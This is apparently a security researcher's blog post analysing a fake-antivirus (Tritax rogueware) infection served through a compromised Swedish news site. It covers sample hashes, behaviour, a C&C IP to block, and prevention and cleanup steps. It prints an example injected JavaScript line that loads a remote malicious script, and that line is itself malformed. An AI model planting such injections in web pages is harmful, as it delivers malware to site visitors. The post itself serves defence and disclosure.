Swedish newssite compromised

Today a Swedish and well-visited newssite, AftonBladet (http://www.aftonbladet.se), was compromised and serving visitors a fake antivirus or rogueware.

There are two possibilities as to the cause:

• A (rotating) ad where malicious Javascript was injected
• AftonBladet itself had malicious Javascript injected

Whoever the cause, the injected script may haven been as simple as:
document.write('< script src=http://http://www.aftonbladet.se/article/mal.php');

When trying to reproduce, it appeared it already was cleaned up, fast actions there.

Thanks to my Panda Security colleague Jimmy from Sweden, I was able to obtain a sample.


File:    svc-ddrs.exe
Image icon:








Size:    1084416 bytes
Type:    PE32 executable for MS Windows (GUI) Intel 80386 32-bit
MD5:     be886eb66cc39b0bbf3b237b476633a5
SHA1:    36c3671f37f414ad6e0954e094a1a7bd0dcc34fc
ssdeep: 24576:M2xJbbGmTvmN9BfQ0lc4Bt4Xsk2QkibF5BOWe8JH0:M6bb3MQ0lc434n2Qhh5kWe8JU
Date:    0x52F1C3E1 [Wed Feb  5 04:53:53 2014 UTC]
EP:      0x5a8090 UPX1 1/3 [SUSPICIOUS]
CRC:     Claimed: 0x0, Actual: 0x10eeb0 [SUSPICIOUS]
Packers: UPX 2.90 [LZMA] -> Markus Oberhumer, Laszlo Molnar & John Reiser
VirusTotal: https://www.virustotal.com/en/file/ee2107d3d4fd2cb3977376b38c15baa199f04f258263ca7e98cb28afc00d2dd0/analysis/
Anubis: http://anubis.iseclab.org/?action=result&task_id=12dc4daced1762174cdfa58df0872aae2&format=html


When executing the sample

Windows Efficiency Master

Fake scanning results

Besides dropping the usual EXE file in the %appdata% folder, it also drops a data.sec file with predefined scanning results (all fake obviously). Here's a pastebin with the contents of data.sec:
http://pastebin.com/DCtDWEbi


It also performs the usual actions:

• Usual blocking of EXE and other files
• Usual  blocking of browser like Internet Explorer
• Callback to 93.115.86.197 C&C
• Stops several antivirus services and prevents them from running
• Reboots initially to stop certain logging and monitoring tools
• Uses mshta.exe (which executes HTML application files) for the usual payment screen
• Packed with UPX, so fairly easy to unpack
• Connects to http://checkip.dyndns.org/ to determine your IP

This rogueware or fake AV belongs to the Tritax family, which has been going around for quite some time and has lots and lots of different names, but the design, concept and initial social engineering attack are all the same.
@ydklijnsma made an excellent post on this family, which you can read here:
http://blog.0x3a.com/post/75474731248/analysis-of-the-tritax-fakeav-family-their-active



Prevention

In this case, no exploit -nor Java/Adobe, nor browser- was used. Only Javascript was injected.

•     Install an antivirus and antimalware product and keep it up-to-date & running.
•     Use NoScript in Firefox or NotScripts in Chrome.
•     Block the above IP. (either in your firewall or host file)

Disinfection

•  Perform a full scan with your installed antivirus and a scan with another antivirus or antimalware product. You can check on VirusTotal which antivirus applications already detect this malware.
• If you are having issues doing this, reboot your machine in Safe Mode and remove the malware. For any other questions, don't hesitate to make a comment on this post or contact me on Twitter.